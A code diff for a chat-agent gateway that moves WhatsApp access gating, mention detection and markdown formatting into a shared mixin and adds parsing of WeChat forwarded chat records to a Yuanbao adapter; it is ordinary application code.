if self._dm_policy == "disabled":
|
||||
return False
|
||||
if self._dm_policy == "allowlist":
|
||||
return sender_id in self._allow_from
|
||||
# "open" — all DMs allowed
|
||||
return True
|
||||
|
||||
def _is_group_allowed(self, chat_id: str) -> bool:
|
||||
"""Check whether a group chat should be processed."""
|
||||
if self._group_policy == "disabled":
|
||||
return False
|
||||
if self._group_policy == "allowlist":
|
||||
return chat_id in self._group_allow_from
|
||||
# "open" — all groups allowed
|
||||
return True
|
||||
|
||||
def _compile_mention_patterns(self):
|
||||
patterns = self.config.extra.get("mention_patterns")
|
||||
if patterns is None:
|
||||
raw = os.getenv("WHATSAPP_MENTION_PATTERNS", "").strip()
|
||||
if raw:
|
||||
try:
|
||||
patterns = json.loads(raw)
|
||||
except Exception:
|
||||
patterns = [part.strip() for part in raw.splitlines() if part.strip()]
|
||||
if not patterns:
|
||||
patterns = [part.strip() for part in raw.split(",") if part.strip()]
|
||||
if patterns is None:
|
||||
return []
|
||||
if isinstance(patterns, str):
|
||||
patterns = [patterns]
|
||||
if not isinstance(patterns, list):
|
||||
logger.warning("[%s] whatsapp mention_patterns must be a list or string; got %s", self.name, type(patterns).__name__)
|
||||
return []
|
||||
|
||||
compiled = []
|
||||
for pattern in patterns:
|
||||
if not isinstance(pattern, str) or not pattern.strip():
|
||||
continue
|
||||
try:
|
||||
compiled.append(re.compile(pattern, re.IGNORECASE))
|
||||
except re.error as exc:
|
||||
logger.warning("[%s] Invalid WhatsApp mention pattern %r: %s", self.name, pattern, exc)
|
||||
if compiled:
|
||||
logger.info("[%s] Loaded %d WhatsApp mention pattern(s)", self.name, len(compiled))
|
||||
return compiled
|
||||
|
||||
@staticmethod
|
||||
def _normalize_whatsapp_id(value: Optional[str]) -> str:
|
||||
if not value:
|
||||
return ""
|
||||
normalized = str(value).strip()
|
||||
if ":" in normalized and "@" in normalized:
|
||||
normalized = normalized.replace(":", "@", 1)
|
||||
return normalized
|
||||
|
||||
def _bot_ids_from_message(self, data: Dict[str, Any]) -> set[str]:
|
||||
bot_ids = set()
|
||||
for candidate in data.get("botIds") or []:
|
||||
normalized = self._normalize_whatsapp_id(candidate)
|
||||
if normalized:
|
||||
bot_ids.add(normalized)
|
||||
return bot_ids
|
||||
|
||||
def _message_is_reply_to_bot(self, data: Dict[str, Any]) -> bool:
|
||||
quoted_participant = self._normalize_whatsapp_id(data.get("quotedParticipant"))
|
||||
if not quoted_participant:
|
||||
return False
|
||||
return quoted_participant in self._bot_ids_from_message(data)
|
||||
|
||||
def _message_mentions_bot(self, data: Dict[str, Any]) -> bool:
|
||||
bot_ids = self._bot_ids_from_message(data)
|
||||
if not bot_ids:
|
||||
return False
|
||||
mentioned_ids = {
|
||||
nid
|
||||
for candidate in (data.get("mentionedIds") or [])
|
||||
if (nid := self._normalize_whatsapp_id(candidate))
|
||||
}
|
||||
if mentioned_ids & bot_ids:
|
||||
return True
|
||||
|
||||
body = str(data.get("body") or "")
|
||||
lower_body = body.lower()
|
||||
for bot_id in bot_ids:
|
||||
bare_id = bot_id.split("@", 1)[0].lower()
|
||||
if bare_id and (f"@{bare_id}" in lower_body or bare_id in lower_body):
|
||||
return True
|
||||
return False
|
||||
|
||||
def _message_matches_mention_patterns(self, data: Dict[str, Any]) -> bool:
|
||||
if not self._mention_patterns:
|
||||
return False
|
||||
body = str(data.get("body") or "")
|
||||
return any(pattern.search(body) for pattern in self._mention_patterns)
|
||||
|
||||
def _clean_bot_mention_text(self, text: str, data: Dict[str, Any]) -> str:
|
||||
if not text:
|
||||
return text
|
||||
bot_ids = self._bot_ids_from_message(data)
|
||||
cleaned = text
|
||||
for bot_id in bot_ids:
|
||||
bare_id = bot_id.split("@", 1)[0]
|
||||
if bare_id:
|
||||
cleaned = re.sub(rf"@{re.escape(bare_id)}\b[,:\-]*\s*", "", cleaned)
|
||||
return cleaned.strip() or text
|
||||
|
||||
def _should_process_message(self, data: Dict[str, Any]) -> bool:
|
||||
chat_id_raw = str(data.get("chatId") or "")
|
||||
# WhatsApp uses pseudo-chats for Status updates (Stories) and
|
||||
# Channel/Newsletter broadcasts. These are not real conversations
|
||||
# and the agent should never reply to them — even in self-chat mode
|
||||
# where the bridge may surface them as "fromMe" events.
|
||||
if self._is_broadcast_chat(chat_id_raw):
|
||||
return False
|
||||
is_group = data.get("isGroup", False)
|
||||
if is_group:
|
||||
chat_id = chat_id_raw
|
||||
if not self._is_group_allowed(chat_id):
|
||||
return False
|
||||
else:
|
||||
sender_id = str(data.get("senderId") or data.get("from") or "")
|
||||
if not self._is_dm_allowed(sender_id):
|
||||
return False
|
||||
# DMs that pass the policy gate are always processed
|
||||
return True
|
||||
# Group messages: check mention / free-response settings
|
||||
chat_id = str(data.get("chatId") or "")
|
||||
if chat_id in self._whatsapp_free_response_chats():
|
||||
return True
|
||||
if not self._whatsapp_require_mention():
|
||||
return True
|
||||
body = str(data.get("body") or "").strip()
|
||||
if body.startswith("/"):
|
||||
return True
|
||||
if self._message_is_reply_to_bot(data):
|
||||
return True
|
||||
if self._message_mentions_bot(data):
|
||||
return True
|
||||
return self._message_matches_mention_patterns(data)
|
||||
|
||||
async def connect(self) -> bool:
|
||||
"""
|
||||
Start the WhatsApp bridge.
|
||||
@@ -912,63 +697,6 @@ class WhatsAppAdapter(BasePlatformAdapter):
|
||||
self._close_bridge_log()
|
||||
print(f"[{self.name}] Disconnected")
|
||||
|
||||
def format_message(self, content: str) -> str:
|
||||
"""Convert standard markdown to WhatsApp-compatible formatting.
|
||||
|
||||
WhatsApp supports: *bold*, _italic_, ~strikethrough~, ```code```,
|
||||
and monospaced `inline`. Standard markdown uses different syntax
|
||||
for bold/italic/strikethrough, so we convert here.
|
||||
|
||||
Code blocks (``` fenced) and inline code (`) are protected from
|
||||
conversion via placeholder substitution.
|
||||
"""
|
||||
if not content:
|
||||
return content
|
||||
|
||||
# --- 1. Protect fenced code blocks from formatting changes ---
|
||||
_FENCE_PH = "\x00FENCE"
|
||||
fences: list[str] = []
|
||||
|
||||
def _save_fence(m: re.Match) -> str:
|
||||
fences.append(m.group(0))
|
||||
return f"{_FENCE_PH}{len(fences) - 1}\x00"
|
||||
|
||||
result = re.sub(r"```[\s\S]*?```", _save_fence, content)
|
||||
|
||||
# --- 2. Protect inline code ---
|
||||
_CODE_PH = "\x00CODE"
|
||||
codes: list[str] = []
|
||||
|
||||
def _save_code(m: re.Match) -> str:
|
||||
codes.append(m.group(0))
|
||||
return f"{_CODE_PH}{len(codes) - 1}\x00"
|
||||
|
||||
result = re.sub(r"`[^`\n]+`", _save_code, result)
|
||||
|
||||
# --- 3. Convert markdown formatting to WhatsApp syntax ---
|
||||
# Bold: **text** or __text__ → *text*
|
||||
result = re.sub(r"\*\*(.+?)\*\*", r"*\1*", result)
|
||||
result = re.sub(r"__(.+?)__", r"*\1*", result)
|
||||
# Strikethrough: ~~text~~ → ~text~
|
||||
result = re.sub(r"~~(.+?)~~", r"~\1~", result)
|
||||
# Italic: *text* is already WhatsApp italic — leave as-is
|
||||
# _text_ is already WhatsApp italic — leave as-is
|
||||
|
||||
# --- 4. Convert markdown headers to bold text ---
|
||||
# # Header → *Header*
|
||||
result = re.sub(r"^#{1,6}\s+(.+)$", r"*\1*", result, flags=re.MULTILINE)
|
||||
|
||||
# --- 5. Convert markdown links: [text](url) → text (url) ---
|
||||
result = re.sub(r"\[([^\]]+)\]\(([^)]+)\)", r"\1 (\2)", result)
|
||||
|
||||
# --- 6. Restore protected sections ---
|
||||
for i, fence in enumerate(fences):
|
||||
result = result.replace(f"{_FENCE_PH}{i}\x00", fence)
|
||||
for i, code in enumerate(codes):
|
||||
result = result.replace(f"{_CODE_PH}{i}\x00", code)
|
||||
|
||||
return result
|
||||
|
||||
async def send(
|
||||
self,
|
||||
chat_id: str,
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,367 @@
|
||||
"""
|
||||
Transport-agnostic WhatsApp behavior shared by the Baileys bridge adapter
|
||||
and the official WhatsApp Cloud API adapter.
|
||||
|
||||
The mixin provides:
|
||||
- Allow-list / DM / group gating
|
||||
- Mention detection (explicit @-mentions + configurable regex patterns)
|
||||
- Quoted-reply-to-bot detection
|
||||
- Broadcast / Channel / Newsletter filtering
|
||||
- WhatsApp-flavored markdown conversion
|
||||
- Outgoing chunk length budgeting
|
||||
|
||||
It is the *behavior layer*. Transport-specific concerns (subprocess management,
|
||||
HTTP webhooks, Graph API calls, media upload protocols) live in each adapter.
|
||||
|
||||
Mixin contract — the adapter must set these on ``self`` before any of the
|
||||
mixin's methods are called (typically in ``__init__``):
|
||||
|
||||
self.config # gateway.config.PlatformConfig
|
||||
self.name # str — adapter name (used in log lines)
|
||||
self._dm_policy # str: "open" | "allowlist" | "disabled"
|
||||
self._allow_from # set[str]
|
||||
self._group_policy # str: "open" | "allowlist" | "disabled"
|
||||
self._group_allow_from # set[str]
|
||||
self._mention_patterns # list[re.Pattern]
|
||||
self._reply_prefix # Optional[str]
|
||||
|
||||
Class attributes ``MAX_MESSAGE_LENGTH`` and ``DEFAULT_REPLY_PREFIX`` are
|
||||
defined on the mixin and may be overridden per-adapter if needed.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
import logging
|
||||
import os
|
||||
import re
|
||||
from typing import Any, Dict, Optional
|
||||
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class WhatsAppBehaviorMixin:
|
||||
"""Shared behavior for all WhatsApp adapters (Baileys + Cloud API).
|
||||
|
||||
See module docstring for the attribute contract the host adapter must
|
||||
satisfy. This mixin owns no state of its own — every value it touches
|
||||
is either a class attribute or set by the adapter's ``__init__``.
|
||||
"""
|
||||
|
||||
# WhatsApp message limits — practical UX limit, not protocol max.
|
||||
# WhatsApp allows ~65K but long messages are unreadable on mobile.
|
||||
MAX_MESSAGE_LENGTH: int = 4096
|
||||
supports_code_blocks = True # WhatsApp renders fenced code blocks (monospace)
|
||||
|
||||
DEFAULT_REPLY_PREFIX: str = "⚕ *Hermes Agent*\n────────────\n"
|
||||
|
||||
@property
|
||||
def enforces_own_access_policy(self) -> bool:
|
||||
"""WhatsApp gates DM/group access at intake via dm_policy/group_policy."""
|
||||
return True
|
||||
|
||||
# ------------------------------------------------------------------ config
|
||||
def _effective_reply_prefix(self) -> str:
|
||||
"""Return the prefix to add to outgoing replies in self-chat mode.
|
||||
|
||||
Subclasses that don't have a self-chat concept (the Cloud API
|
||||
adapter) can override this to always return ``""`` or apply a
|
||||
different policy.
|
||||
"""
|
||||
whatsapp_mode = os.getenv("WHATSAPP_MODE", "self-chat")
|
||||
if whatsapp_mode != "self-chat":
|
||||
return ""
|
||||
if self._reply_prefix is not None:
|
||||
return self._reply_prefix.replace("\\n", "\n")
|
||||
env_prefix = os.getenv("WHATSAPP_REPLY_PREFIX")
|
||||
if env_prefix is not None:
|
||||
return env_prefix.replace("\\n", "\n")
|
||||
return self.DEFAULT_REPLY_PREFIX
|
||||
|
||||
def _outgoing_chunk_limit(self) -> int:
|
||||
"""Reserve room for the reply prefix so the final message fits."""
|
||||
prefix_len = len(self._effective_reply_prefix())
|
||||
# Keep enough space for truncate_message's pagination indicator and
|
||||
# code-fence repair even if a user configures a very long prefix.
|
||||
return max(1024, self.MAX_MESSAGE_LENGTH - prefix_len)
|
||||
|
||||
def _whatsapp_require_mention(self) -> bool:
|
||||
configured = self.config.extra.get("require_mention")
|
||||
if configured is not None:
|
||||
if isinstance(configured, str):
|
||||
return configured.lower() in {"true", "1", "yes", "on"}
|
||||
return bool(configured)
|
||||
return os.getenv("WHATSAPP_REQUIRE_MENTION", "false").lower() in {
|
||||
"true",
|
||||
"1",
|
||||
"yes",
|
||||
"on",
|
||||
}
|
||||
|
||||
def _whatsapp_free_response_chats(self) -> set[str]:
|
||||
raw = self.config.extra.get("free_response_chats")
|
||||
if raw is None:
|
||||
raw = os.getenv("WHATSAPP_FREE_RESPONSE_CHATS", "")
|
||||
if isinstance(raw, list):
|
||||
return {str(part).strip() for part in raw if str(part).strip()}
|
||||
return {part.strip() for part in str(raw).split(",") if part.strip()}
|
||||
|
||||
@staticmethod
|
||||
def _coerce_allow_list(raw) -> set[str]:
|
||||
"""Parse allow_from / group_allow_from from config or env var."""
|
||||
if raw is None:
|
||||
return set()
|
||||
if isinstance(raw, list):
|
||||
return {str(part).strip() for part in raw if str(part).strip()}
|
||||
return {part.strip() for part in str(raw).split(",") if part.strip()}
|
||||
|
||||
# ------------------------------------------------------------------ JID helpers
|
||||
@staticmethod
|
||||
def _normalize_whatsapp_id(value: Optional[str]) -> str:
|
||||
if not value:
|
||||
return ""
|
||||
normalized = str(value).strip()
|
||||
if ":" in normalized and "@" in normalized:
|
||||
normalized = normalized.replace(":", "@", 1)
|
||||
return normalized
|
||||
|
||||
@staticmethod
|
||||
def _is_broadcast_chat(chat_id: str) -> bool:
|
||||
"""True for WhatsApp pseudo-chats that aren't real conversations.
|
||||
|
||||
Covers Status updates (Stories) and Channel/Newsletter broadcasts.
|
||||
These show up as inbound messages on Baileys but the agent should
|
||||
never reply — answering a Story update spams the contact's status
|
||||
feed, and Channel posts aren't addressable in the first place.
|
||||
"""
|
||||
if not chat_id:
|
||||
return False
|
||||
cid = chat_id.strip().lower()
|
||||
if cid == "status@broadcast":
|
||||
return True
|
||||
# @broadcast suffix covers status@broadcast plus any future
|
||||
# broadcast-list variants. @newsletter is the Channel JID suffix.
|
||||
if cid.endswith("@broadcast") or cid.endswith("@newsletter"):
|
||||
return True
|
||||
return False
|
||||
|
||||
# ------------------------------------------------------------------ gating
|
||||
def _is_dm_allowed(self, sender_id: str) -> bool:
|
||||
"""Check whether a DM from the given sender should be processed."""
|
||||
if self._dm_policy == "disabled":
|
||||
return False
|
||||
if self._dm_policy == "allowlist":
|
||||
return sender_id in self._allow_from
|
||||
# "open" — all DMs allowed
|
||||
return True
|
||||
|
||||
def _is_group_allowed(self, chat_id: str) -> bool:
|
||||
"""Check whether a group chat should be processed."""
|
||||
if self._group_policy == "disabled":
|
||||
return False
|
||||
if self._group_policy == "allowlist":
|
||||
return chat_id in self._group_allow_from
|
||||
# "open" — all groups allowed
|
||||
return True
|
||||
|
||||
def _compile_mention_patterns(self):
|
||||
patterns = self.config.extra.get("mention_patterns")
|
||||
if patterns is None:
|
||||
raw = os.getenv("WHATSAPP_MENTION_PATTERNS", "").strip()
|
||||
if raw:
|
||||
try:
|
||||
patterns = json.loads(raw)
|
||||
except Exception:
|
||||
patterns = [
|
||||
part.strip() for part in raw.splitlines() if part.strip()
|
||||
]
|
||||
if not patterns:
|
||||
patterns = [
|
||||
part.strip() for part in raw.split(",") if part.strip()
|
||||
]
|
||||
if patterns is None:
|
||||
return []
|
||||
if isinstance(patterns, str):
|
||||
patterns = [patterns]
|
||||
if not isinstance(patterns, list):
|
||||
logger.warning(
|
||||
"[%s] whatsapp mention_patterns must be a list or string; got %s",
|
||||
self.name,
|
||||
type(patterns).__name__,
|
||||
)
|
||||
return []
|
||||
|
||||
compiled = []
|
||||
for pattern in patterns:
|
||||
if not isinstance(pattern, str) or not pattern.strip():
|
||||
continue
|
||||
try:
|
||||
compiled.append(re.compile(pattern, re.IGNORECASE))
|
||||
except re.error as exc:
|
||||
logger.warning(
|
||||
"[%s] Invalid WhatsApp mention pattern %r: %s",
|
||||
self.name,
|
||||
pattern,
|
||||
exc,
|
||||
)
|
||||
if compiled:
|
||||
logger.info(
|
||||
"[%s] Loaded %d WhatsApp mention pattern(s)", self.name, len(compiled)
|
||||
)
|
||||
return compiled
|
||||
|
||||
def _bot_ids_from_message(self, data: Dict[str, Any]) -> set[str]:
|
||||
bot_ids = set()
|
||||
for candidate in data.get("botIds") or []:
|
||||
normalized = self._normalize_whatsapp_id(candidate)
|
||||
if normalized:
|
||||
bot_ids.add(normalized)
|
||||
return bot_ids
|
||||
|
||||
def _message_is_reply_to_bot(self, data: Dict[str, Any]) -> bool:
|
||||
quoted_participant = self._normalize_whatsapp_id(data.get("quotedParticipant"))
|
||||
if not quoted_participant:
|
||||
return False
|
||||
return quoted_participant in self._bot_ids_from_message(data)
|
||||
|
||||
def _message_mentions_bot(self, data: Dict[str, Any]) -> bool:
|
||||
bot_ids = self._bot_ids_from_message(data)
|
||||
if not bot_ids:
|
||||
return False
|
||||
mentioned_ids = {
|
||||
nid
|
||||
for candidate in (data.get("mentionedIds") or [])
|
||||
if (nid := self._normalize_whatsapp_id(candidate))
|
||||
}
|
||||
if mentioned_ids & bot_ids:
|
||||
return True
|
||||
|
||||
body = str(data.get("body") or "")
|
||||
lower_body = body.lower()
|
||||
for bot_id in bot_ids:
|
||||
bare_id = bot_id.split("@", 1)[0].lower()
|
||||
if bare_id and (f"@{bare_id}" in lower_body or bare_id in lower_body):
|
||||
return True
|
||||
return False
|
||||
|
||||
def _message_matches_mention_patterns(self, data: Dict[str, Any]) -> bool:
|
||||
if not self._mention_patterns:
|
||||
return False
|
||||
body = str(data.get("body") or "")
|
||||
return any(pattern.search(body) for pattern in self._mention_patterns)
|
||||
|
||||
def _clean_bot_mention_text(self, text: str, data: Dict[str, Any]) -> str:
|
||||
if not text:
|
||||
return text
|
||||
bot_ids = self._bot_ids_from_message(data)
|
||||
cleaned = text
|
||||
for bot_id in bot_ids:
|
||||
bare_id = bot_id.split("@", 1)[0]
|
||||
if bare_id:
|
||||
cleaned = re.sub(
|
||||
rf"@{re.escape(bare_id)}\b[,:\-]*\s*", "", cleaned
|
||||
)
|
||||
return cleaned.strip() or text
|
||||
|
||||
def _should_process_message(self, data: Dict[str, Any]) -> bool:
|
||||
chat_id_raw = str(data.get("chatId") or "")
|
||||
# WhatsApp uses pseudo-chats for Status updates (Stories) and
|
||||
# Channel/Newsletter broadcasts. These are not real conversations
|
||||
# and the agent should never reply to them — even in self-chat mode
|
||||
# where the bridge may surface them as "fromMe" events.
|
||||
if self._is_broadcast_chat(chat_id_raw):
|
||||
return False
|
||||
is_group = data.get("isGroup", False)
|
||||
if is_group:
|
||||
chat_id = chat_id_raw
|
||||
if not self._is_group_allowed(chat_id):
|
||||
return False
|
||||
else:
|
||||
sender_id = str(data.get("senderId") or data.get("from") or "")
|
||||
if not self._is_dm_allowed(sender_id):
|
||||
return False
|
||||
# DMs that pass the policy gate are always processed
|
||||
return True
|
||||
# Group messages: check mention / free-response settings
|
||||
chat_id = str(data.get("chatId") or "")
|
||||
if chat_id in self._whatsapp_free_response_chats():
|
||||
return True
|
||||
if not self._whatsapp_require_mention():
|
||||
return True
|
||||
body = str(data.get("body") or "").strip()
|
||||
if body.startswith("/"):
|
||||
return True
|
||||
if self._message_is_reply_to_bot(data):
|
||||
return True
|
||||
if self._message_mentions_bot(data):
|
||||
return True
|
||||
return self._message_matches_mention_patterns(data)
|
||||
|
||||
# ------------------------------------------------------------------ formatting
|
||||
def format_message(self, content: str) -> str:
|
||||
"""Convert standard markdown to WhatsApp-compatible formatting.
|
||||
|
||||
WhatsApp supports: *bold*, _italic_, ~strikethrough~, ```code```,
|
||||
and monospaced `inline`. Standard markdown uses different syntax
|
||||
for bold/italic/strikethrough, so we convert here.
|
||||
|
||||
Code blocks (``` fenced) and inline code (`) are protected from
|
||||
conversion via placeholder substitution.
|
||||
"""
|
||||
if not content:
|
||||
return content
|
||||
|
||||
# --- 1. Protect fenced code blocks from formatting changes ---
|
||||
_FENCE_PH = "\x00FENCE"
|
||||
fences: list[str] = []
|
||||
|
||||
def _save_fence(m: re.Match) -> str:
|
||||
fences.append(m.group(0))
|
||||
return f"{_FENCE_PH}{len(fences) - 1}\x00"
|
||||
|
||||
result = re.sub(r"```[\s\S]*?```", _save_fence, content)
|
||||
|
||||
# --- 2. Protect inline code ---
|
||||
_CODE_PH = "\x00CODE"
|
||||
codes: list[str] = []
|
||||
|
||||
def _save_code(m: re.Match) -> str:
|
||||
codes.append(m.group(0))
|
||||
return f"{_CODE_PH}{len(codes) - 1}\x00"
|
||||
|
||||
result = re.sub(r"`[^`\n]+`", _save_code, result)
|
||||
|
||||
# --- 3. Convert markdown formatting to WhatsApp syntax ---
|
||||
# Bold: **text** or __text__ → *text*
|
||||
result = re.sub(r"\*\*(.+?)\*\*", r"*\1*", result)
|
||||
result = re.sub(r"__(.+?)__", r"*\1*", result)
|
||||
# Strikethrough: ~~text~~ → ~text~
|
||||
result = re.sub(r"~~(.+?)~~", r"~\1~", result)
|
||||
# Italic: *text* is already WhatsApp italic — leave as-is
|
||||
# _text_ is already WhatsApp italic — leave as-is
|
||||
|
||||
# --- 4. Convert markdown headers to bold text ---
|
||||
# # Header → *Header*. Strip any *...* wrapping already produced
|
||||
# by step 3 (e.g. "# **Title**" → "*Title*", not "**Title**",
|
||||
# which WhatsApp renders with literal asterisks).
|
||||
def _header_to_bold(m: re.Match) -> str:
|
||||
inner = m.group(1).strip()
|
||||
while len(inner) > 1 and inner.startswith("*") and inner.endswith("*"):
|
||||
inner = inner[1:-1].strip()
|
||||
return f"*{inner}*"
|
||||
|
||||
result = re.sub(
|
||||
r"^#{1,6}\s+(.+)$", _header_to_bold, result, flags=re.MULTILINE
|
||||
)
|
||||
|
||||
# --- 5. Convert markdown links: [text](url) → text (url) ---
|
||||
result = re.sub(r"\[([^\]]+)\]\(([^)]+)\)", r"\1 (\2)", result)
|
||||
|
||||
# --- 6. Restore protected sections ---
|
||||
for i, fence in enumerate(fences):
|
||||
result = result.replace(f"{_FENCE_PH}{i}\x00", fence)
|
||||
for i, code in enumerate(codes):
|
||||
result = result.replace(f"{_CODE_PH}{i}\x00", code)
|
||||
|
||||
return result
|
||||
+319
-18
@@ -18,6 +18,8 @@ Configuration in config.yaml (or via env vars):
|
||||
from __future__ import annotations
|
||||
|
||||
import asyncio
|
||||
import base64
|
||||
import binascii
|
||||
import collections
|
||||
import dataclasses
|
||||
import hashlib
|
||||
@@ -31,9 +33,10 @@ import time
|
||||
import urllib.parse
|
||||
import uuid
|
||||
from datetime import datetime, timezone, timedelta
|
||||
from enum import Enum
|
||||
from pathlib import Path
|
||||
from abc import ABC, abstractmethod
|
||||
from typing import Any, Callable, ClassVar, Dict, List, Optional, Tuple
|
||||
from typing import Any, Callable, ClassVar, Dict, Iterator, List, Optional, Tuple
|
||||
|
||||
import sys
|
||||
|
||||
@@ -55,6 +58,7 @@ from gateway.platforms.base import (
|
||||
SendResult,
|
||||
cache_document_from_bytes,
|
||||
cache_image_from_bytes,
|
||||
cache_video_from_bytes,
|
||||
)
|
||||
from gateway.platforms.helpers import MessageDeduplicator
|
||||
from gateway.platforms.yuanbao_media import (
|
||||
@@ -77,6 +81,7 @@ from gateway.platforms.yuanbao_proto import (
|
||||
HERMES_INSTANCE_ID,
|
||||
decode_conn_msg,
|
||||
decode_inbound_push,
|
||||
decode_forward_msg_data,
|
||||
decode_query_group_info_rsp,
|
||||
decode_get_group_member_list_rsp,
|
||||
encode_auth_bind,
|
||||
@@ -164,7 +169,7 @@ _YB_RES_REF_RE = re.compile(
|
||||
_YB_LOCAL_MEDIA_RE = re.compile(r"\[(\w+):[^\]]*?(/[^\]]+?)\s*\]")
|
||||
|
||||
# Media kinds that can be resolved and injected into the model context
|
||||
_RESOLVABLE_MEDIA_KINDS = frozenset({"image", "file"})
|
||||
_RESOLVABLE_MEDIA_KINDS = frozenset({"image", "file", "video"})
|
||||
|
||||
# Strip page indicators like (1/3) appended by BasePlatformAdapter
|
||||
_INDICATOR_RE = re.compile(r'\s*\(\d+/\d+\)$')
|
||||
@@ -932,6 +937,10 @@ class InboundContext:
|
||||
raw_text: str = ""
|
||||
media_refs: list = dc_field(default_factory=list)
|
||||
|
||||
# Populated by ExtractContentMiddleware for elem_type 1009 (WeChat forward).
|
||||
# Contains the parsed ForwardMsgData dict (sub_type / nick_name / msg list).
|
||||
forwarded_records: Optional[dict] = None
|
||||
|
||||
# Owner command detection
|
||||
owner_command: Optional[str] = None
|
||||
|
||||
@@ -939,7 +948,7 @@ class InboundContext:
|
||||
source: Optional[Any] = None # SessionSource
|
||||
|
||||
# Populated by ClassifyMessageTypeMiddleware
|
||||
msg_type: Optional[Any] = None # MessageType
|
||||
msg_type: Optional[Any] = None # MessageType | YuanbaoMessageType
|
||||
|
||||
# Populated by QuoteContextMiddleware
|
||||
reply_to_message_id: Optional[str] = None
|
||||
@@ -1761,6 +1770,9 @@ class ExtractContentMiddleware(InboundMiddleware):
|
||||
parts.append(text)
|
||||
else:
|
||||
parts.append("[unsupported message type]")
|
||||
elif ctype == 1009:
|
||||
# WeChat forwarded chat record: use the truncated summary text.
|
||||
parts.append(custom.get("text", "[chat record]"))
|
||||
else:
|
||||
parts.append("[unsupported message type]")
|
||||
except (json.JSONDecodeError, TypeError):
|
||||
@@ -1872,10 +1884,70 @@ class ExtractContentMiddleware(InboundMiddleware):
|
||||
pass
|
||||
return urls
|
||||
|
||||
@staticmethod
|
||||
def _extract_forwarded_records(msg_body: list, user_id: str = "") -> Optional[dict]:
|
||||
"""Extract ForwardMsgData from ext_map for elem_type 1009 (WeChat forward).
|
||||
|
||||
The detailed chat-record payload lives in ``msg_content.ext_map``
|
||||
(protobuf field 999, ``map<string, string>``):
|
||||
- key format: ``wexin_forward_msg_[forward_msg_id]_[userid]``
|
||||
- value: a **base64-encoded protobuf** ``ForwardMsgData`` (NOT JSON).
|
||||
Decode with base64 then ``decode_forward_msg_data`` to recover the
|
||||
``sub_type`` / ``nick_name`` / ``msg`` structure.
|
||||
|
||||
Matching strategy: take the first ``wexin_forward_msg_`` entry whose
|
||||
decoded payload is a valid ``ForwardMsgData`` (``sub_type == 1``).
|
||||
|
||||
Returns the parsed ``ForwardMsgData`` dict or ``None``.
|
||||
"""
|
||||
for elem in msg_body or []:
|
||||
if not isinstance(elem, dict) or elem.get("msg_type") != "TIMCustomElem":
|
||||
continue
|
||||
content = elem.get("msg_content", {}) or {}
|
||||
if not isinstance(content, dict):
|
||||
continue
|
||||
data_str = content.get("data", "")
|
||||
if not data_str:
|
||||
continue
|
||||
try:
|
||||
custom = json.loads(data_str)
|
||||
except (json.JSONDecodeError, TypeError):
|
||||
continue
|
||||
if not (isinstance(custom, dict) and custom.get("elem_type") == 1009):
|
||||
continue
|
||||
|
||||
ext_map = content.get("ext_map") or {}
|
||||
if not isinstance(ext_map, dict) or not ext_map:
|
||||
return None
|
||||
|
||||
def _parse_value(value):
|
||||
# ext_map values are base64-encoded ForwardMsgData protobuf.
|
||||
if not isinstance(value, str) or not value:
|
||||
return None
|
||||
try:
|
||||
pb = base64.b64decode(value)
|
||||
except (binascii.Error, ValueError):
|
||||
return None
|
||||
data = decode_forward_msg_data(pb)
|
||||
if isinstance(data, dict) and data.get("sub_type") == 1:
|
||||
return data
|
||||
return None
|
||||
|
||||
# Take the first valid wexin_forward_msg_ entry.
|
||||
for key, value in ext_map.items():
|
||||
if not key.startswith("wexin_forward_msg_"):
|
||||
continue
|
||||
parsed = _parse_value(value)
|
||||
if parsed is not None:
|
||||
return parsed
|
||||
|
||||
return None
|
||||
|
||||
async def handle(self, ctx: InboundContext, next_fn) -> None:
|
||||
ctx.raw_text = self._rewrite_slash_command(self._extract_text(ctx.msg_body))
|
||||
ctx.media_refs = self._extract_inbound_media_refs(ctx.msg_body)
|
||||
ctx.link_urls = self._extract_link_urls(ctx.msg_body)
|
||||
ctx.forwarded_records = self._extract_forwarded_records(ctx.msg_body, ctx.from_account)
|
||||
await next_fn()
|
||||
|
||||
class PlaceholderFilterMiddleware(InboundMiddleware):
|
||||
@@ -2085,10 +2157,14 @@ class GroupAtGuardMiddleware(InboundMiddleware):
|
||||
"and answer it directly."
|
||||
)
|
||||
|
||||
@staticmethod
|
||||
@classmethod
|
||||
def _observe_group_message(
|
||||
cls,
|
||||
adapter, source, sender_display: str, text: str,
|
||||
*, msg_id: Optional[str] = None,
|
||||
*,
|
||||
ctx: InboundContext,
|
||||
msg_id: Optional[str] = None,
|
||||
forwarded_records: Optional[dict] = None,
|
||||
) -> None:
|
||||
"""Write a group message into the session transcript without triggering the agent.
|
||||
|
||||
@@ -2103,7 +2179,14 @@ class GroupAtGuardMiddleware(InboundMiddleware):
|
||||
try:
|
||||
session_entry = store.get_or_create_session(source)
|
||||
user_id = source.user_id or "unknown"
|
||||
attributed = f"[{sender_display}|{user_id}]\n{text}"
|
||||
body_text = text
|
||||
if forwarded_records:
|
||||
summary = ForwardedRecordsParseMiddleware.build_forward_text(
|
||||
forwarded_records, ctx=ctx, is_dispatch=False,
|
||||
)
|
||||
if summary:
|
||||
body_text = f"{text}\n{summary}" if text else summary
|
||||
attributed = f"[{sender_display}|{user_id}]\n{body_text}"
|
||||
entry: dict = {
|
||||
"role": "user",
|
||||
"content": attributed,
|
||||
@@ -2125,6 +2208,8 @@ class GroupAtGuardMiddleware(InboundMiddleware):
|
||||
self._observe_group_message(
|
||||
adapter, ctx.source, ctx.sender_nickname or ctx.from_account, ctx.raw_text,
|
||||
msg_id=ctx.msg_id or None,
|
||||
forwarded_records=ctx.forwarded_records,
|
||||
ctx=ctx,
|
||||
)
|
||||
logger.info(
|
||||
"[%s] Group message observed (no @bot): chat=%s from=%s",
|
||||
@@ -2165,14 +2250,26 @@ class GroupAttributionMiddleware(InboundMiddleware):
|
||||
await next_fn()
|
||||
|
||||
|
||||
class YuanbaoMessageType(Enum):
|
||||
"""Yuanbao-local message subtypes; coerced back to :class:`MessageType`
|
||||
before leaving the adapter (see :class:`DispatchMiddleware`)."""
|
||||
|
||||
# WeChat forwarded chat records (TIMCustomElem, elem_type 1009).
|
||||
CHAT_RECORD = "chat_record"
|
||||
|
||||
|
||||
class ClassifyMessageTypeMiddleware(InboundMiddleware):
|
||||
"""Determine MessageType from text content and msg_body elements."""
|
||||
|
||||
